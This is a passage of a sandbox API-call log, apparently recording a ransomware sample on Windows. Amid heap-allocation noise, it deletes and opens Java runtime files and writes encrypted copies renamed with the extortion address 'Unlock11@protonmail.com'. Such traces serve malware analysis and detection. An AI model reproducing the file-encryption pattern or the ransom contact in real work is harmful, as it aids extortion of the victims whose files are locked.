hHeap=0x2ad0000) returned 1 [0125.854] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0125.854] GetLastError () returned 0x0 [0125.855] GetLastError () returned 0x0 [0125.855] GetLastError () returned 0x0 [0125.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265428 [0125.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265288 | out: hHeap=0x2ad0000) returned 1 [0125.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0125.855] GetLastError () returned 0x0 [0125.855] GetLastError () returned 0x0 [0125.856] GetLastError () returned 0x0 [0125.856] GetLastError () returned 0x0 [0125.856] GetLastError () returned 0x0 [0125.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.856] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0125.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0125.856] GetLastError () returned 0x0 [0125.858] GetLastError () returned 0x0 [0125.858] GetLastError () returned 0x0 [0125.858] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.858] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0125.858] GetLastError () returned 0x0 [0125.859] GetLastError () returned 0x0 [0125.859] GetLastError () returned 0x0 [0125.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265428 | out: hHeap=0x2ad0000) returned 1 [0125.860] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0125.860] GetLastError () returned 0x0 [0125.860] GetLastError () returned 0x0 [0125.860] GetLastError () returned 0x0 [0125.860] GetLastError () returned 0x0 [0125.860] GetLastError () returned 0x0 [0125.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.861] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0125.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.861] GetLastError () returned 0x0 [0125.862] GetLastError () returned 0x0 [0125.862] GetLastError () returned 0x0 [0125.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0125.862] GetLastError () returned 0x0 [0125.862] GetLastError () returned 0x0 [0125.862] GetLastError () returned 0x0 [0125.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.863] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652d8 [0125.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652e8 | out: hHeap=0x2ad0000) returned 1 [0125.863] GetLastError () returned 0x0 [0125.863] GetLastError () returned 0x0 [0125.863] GetLastError () returned 0x0 [0125.863] GetLastError () returned 0x0 [0125.863] GetLastError () returned 0x0 [0125.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.864] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0125.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.864] GetLastError () returned 0x0 [0125.865] GetLastError () returned 0x0 [0125.865] GetLastError () returned 0x0 [0125.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.865] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0125.865] GetLastError () returned 0x0 [0125.865] GetLastError () returned 0x0 [0125.995] CloseHandle (hObject=0x3ac) returned 1 [0125.996] CloseHandle (hObject=0x39c) returned 1 [0125.996] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar")) returned 1 [0126.004] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties", lpFilePart=0x9bada4*="flavormap.properties") returned 0x3b [0126.004] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc", lpFilePart=0x9bada4*="fontconfig.bfc") returned 0x35 [0126.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0126.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0126.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0126.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0126.004] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src", lpFilePart=0x9bada4*="fontconfig.properties.src") returned 0x40 [0126.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0126.005] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties", lpFilePart=0x9bada4*="hijrah-config-umalqura.properties") returned 0x48 [0126.005] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties", lpFilePart=0x9bada4*="javafx.properties") returned 0x38 [0126.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0126.005] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar", lpFilePart=0x9bada4*="javaws.jar") returned 0x31 [0126.005] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8e40a9d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8e40a9d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8e66d0e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe6827)) returned 1 [0126.006] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664124 | out: pbBuffer=0x3664124) returned 1 [0126.006] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0126.006] GetFileType (hFile=0x39c) returned 0x1 [0126.006] GetFileType (hFile=0x39c) returned 0x1 [0126.006] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0126.006] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.007] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.007] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.007] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.007] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.007] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.007] GetLastError () returned 0x0 [0126.007] GetCurrentThreadId () returned 0x9b0 [0126.007] GetLastError () returned 0x0 [0126.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265298 | out: hHeap=0x2ad0000) returned 1 [0126.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0126.007] GetLastError () returned 0x0 [0126.007] GetLastError () returned 0x0 [0126.007] GetLastError () returned 0x0 [0126.008] GetLastError () returned 0x0 [0126.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0126.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265318 [0126.008] GetLastError () returned 0x0 [0126.008] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0126.008] GetFileType (hFile=0x3ac) returned 0x1 [0126.009] GetLastError () returned 0x0 [0126.009] GetCurrentThreadId () returned 0x9b0 [0126.009] GetLastError () returned 0x0 [0126.009] GetFileType (hFile=0x3ac) returned 0x1 [0126.009] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0126.009] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.010] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.010] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.010] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.010] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.010] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.010] GetLastError () returned 0x0 [0126.010] GetCurrentThreadId () returned 0x9b0 [0126.010] GetLastError () returned 0x0 [0126.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265318 | out: hHeap=0x2ad0000) returned 1 [0126.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2098 | out: hHeap=0x2ad0000) returned 1 [0126.010] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0126.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0126.011] GetLastError () returned 0x0 [0126.011] GetLastError () returned 0x0 [0126.011] GetCurrentThreadId () returned 0x9b0 [0126.011] GetLastError () returned 0x0 [0126.011] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0126.011] GetLastError () returned 0x0 [0126.011] GetLastError () returned 0x0 [0126.011] GetCurrentThreadId () returned 0x9b0 [0126.011] GetLastError () returned 0x0 [0126.011] GetLastError () returned 0x0 [0126.013] GetLastError () returned 0x0 [0126.013] GetCurrentThreadId () returned 0x9b0 [0126.014] GetLastError () returned 0x0 [0126.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652d8 | out: hHeap=0x2ad0000) returned 1 [0126.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.014] GetLastError () returned 0x0 [0126.015] GetLastError () returned 0x0 [0126.015] GetLastError () returned 0x0 [0126.015] GetLastError () returned 0x0 [0126.015] GetCurrentThreadId () returned 0x9b0 [0126.015] GetLastError () returned 0x0 [0126.015] GetCurrentThreadId () returned 0x9b0 [0126.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0126.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0126.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0126.015] GetLastError () returned 0x0 [0126.017] GetLastError () returned 0x0 [0126.017] GetCurrentThreadId () returned 0x9b0 [0126.017] GetLastError () returned 0x0 [0126.018] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.018] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.018] GetLastError () returned 0x0 [0126.019] GetLastError () returned 0x0 [0126.019] GetCurrentThreadId () returned 0x9b0 [0126.019] GetLastError () returned 0x0 [0126.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.019] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652e8 [0126.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265338 | out: hHeap=0x2ad0000) returned 1 [0126.019] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.019] GetLastError () returned 0x0 [0126.020] GetLastError () returned 0x0 [0126.020] GetLastError () returned 0x0 [0126.020] GetLastError () returned 0x0 [0126.020] GetCurrentThreadId () returned 0x9b0 [0126.020] GetLastError () returned 0x0 [0126.020] GetCurrentThreadId () returned 0x9b0 [0126.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0126.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0126.020] GetLastError () returned 0x0 [0126.021] GetLastError () returned 0x0 [0126.021] GetCurrentThreadId () returned 0x9b0 [0126.022] GetLastError () returned 0x0 [0126.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.022] GetLastError () returned 0x0 [0126.022] GetLastError () returned 0x0 [0126.023] GetCurrentThreadId () returned 0x9b0 [0126.024] GetLastError () returned 0x0 [0126.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652f8 [0126.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652e8 | out: hHeap=0x2ad0000) returned 1 [0126.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.024] GetLastError () returned 0x0 [0126.024] GetLastError () returned 0x0 [0126.025] GetLastError () returned 0x0 [0126.025] GetLastError () returned 0x0 [0126.025] GetCurrentThreadId () returned 0x9b0 [0126.025] GetLastError () returned 0x0 [0126.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0126.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0126.025] GetLastError () returned 0x0 [0126.026] GetLastError () returned 0x0 [0126.026] GetCurrentThreadId () returned 0x9b0 [0126.026] GetLastError () returned 0x0 [0126.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.027] GetLastError () returned 0x0 [0126.027] GetLastError () returned 0x0 [0126.028] GetCurrentThreadId () returned 0x9b0 [0126.028] GetLastError () returned 0x0 [0126.028] GetCurrentThreadId () returned 0x9b0 [0126.028] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.028] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652c8 [0126.028] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652f8 | out: hHeap=0x2ad0000) returned 1 [0126.028] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.028] GetLastError () returned 0x0 [0126.029] GetLastError () returned 0x0 [0126.029] GetLastError () returned 0x0 [0126.029] GetLastError () returned 0x0 [0126.029] GetCurrentThreadId () returned 0x9b0 [0126.029] GetLastError () returned 0x0 [0126.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.029] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0126.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0126.029] GetLastError () returned 0x0 [0126.030] GetLastError () returned 0x0 [0126.030] GetCurrentThreadId () returned 0x9b0 [0126.030] GetLastError () returned 0x0 [0126.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.031] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.031] GetLastError () returned 0x0 [0126.031] GetLastError () returned 0x0 [0126.032] GetCurrentThreadId () returned 0x9b0 [0126.032] GetLastError () returned 0x0 [0126.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.033] GetCurrentThreadId () returned 0x9b0 [0126.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265338 [0126.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652c8 | out: hHeap=0x2ad0000) returned 1 [0126.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.033] GetLastError () returned 0x0 [0126.033] GetLastError () returned 0x0 [0126.033] GetLastError () returned 0x0 [0126.033] GetLastError () returned 0x0 [0126.034] GetCurrentThreadId () returned 0x9b0 [0126.034] GetLastError () returned 0x0 [0126.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.034] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0126.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0126.034] GetLastError () returned 0x0 [0126.035] GetLastError () returned 0x0 [0126.036] GetCurrentThreadId () returned 0x9b0 [0126.036] GetLastError () returned 0x0 [0126.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.036] GetLastError () returned 0x0 [0126.036] GetLastError () returned 0x0 [0126.037] GetCurrentThreadId () returned 0x9b0 [0126.037] GetLastError () returned 0x0 [0126.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653d8 [0126.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265338 | out: hHeap=0x2ad0000) returned 1 [0126.037] GetCurrentThreadId () returned 0x9b0 [0126.038] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.038] GetLastError () returned 0x0 [0126.038] GetLastError () returned 0x0 [0126.038] GetLastError () returned 0x0 [0126.038] GetLastError () returned 0x0 [0126.038] GetCurrentThreadId () returned 0x9b0 [0126.038] GetLastError () returned 0x0 [0126.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.039] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0126.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0126.039] GetLastError () returned 0x0 [0126.040] GetLastError () returned 0x0 [0126.040] GetCurrentThreadId () returned 0x9b0 [0126.040] GetLastError () returned 0x0 [0126.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.040] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.040] GetLastError () returned 0x0 [0126.040] GetLastError () returned 0x0 [0126.041] GetCurrentThreadId () returned 0x9b0 [0126.041] GetLastError () returned 0x0 [0126.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.041] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265358 [0126.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0126.041] GetCurrentThreadId () returned 0x9b0 [0126.041] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.041] GetLastError () returned 0x0 [0126.042] GetLastError () returned 0x0 [0126.042] GetLastError () returned 0x0 [0126.042] GetLastError () returned 0x0 [0126.042] GetCurrentThreadId () returned 0x9b0 [0126.042] GetLastError () returned 0x0 [0126.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.042] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0126.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0126.042] GetLastError () returned 0x0 [0126.043] GetLastError () returned 0x0 [0126.043] GetCurrentThreadId () returned 0x9b0 [0126.043] GetLastError () returned 0x0 [0126.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.044] GetLastError () returned 0x0 [0126.044] GetLastError () returned 0x0 [0126.045] GetCurrentThreadId () returned 0x9b0 [0126.045] GetLastError () returned 0x0 [0126.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265348 [0126.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265358 | out: hHeap=0x2ad0000) returned 1 [0126.046] GetCurrentThreadId () returned 0x9b0 [0126.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.046] GetLastError () returned 0x0 [0126.046] GetLastError () returned 0x0 [0126.046] GetLastError () returned 0x0 [0126.046] GetLastError () returned 0x0 [0126.046] GetCurrentThreadId () returned 0x9b0 [0126.047] GetLastError () returned 0x0 [0126.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0126.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0126.047] GetLastError () returned 0x0 [0126.048] GetLastError () returned 0x0 [0126.048] GetCurrentThreadId () returned 0x9b0 [0126.048] GetLastError () returned 0x0 [0126.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.048] GetLastError () returned 0x0 [0126.048] GetLastError () returned 0x0 [0126.049] GetCurrentThreadId () returned 0x9b0 [0126.049] GetLastError () returned 0x0 [0126.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653b8 [0126.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265348 | out: hHeap=0x2ad0000) returned 1 [0126.049] GetCurrentThreadId () returned 0x9b0 [0126.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.049] GetLastError () returned 0x0 [0126.049] GetLastError () returned 0x0 [0126.050] GetLastError () returned 0x0 [0126.050] GetLastError () returned 0x0 [0126.050] GetCurrentThreadId () returned 0x9b0 [0126.050] GetLastError () returned 0x0 [0126.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.050] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0126.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0126.050] GetLastError () returned 0x0 [0126.052] GetLastError () returned 0x0 [0126.052] GetCurrentThreadId () returned 0x9b0 [0126.052] GetLastError () returned 0x0 [0126.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.052] RtlAllocateHeap 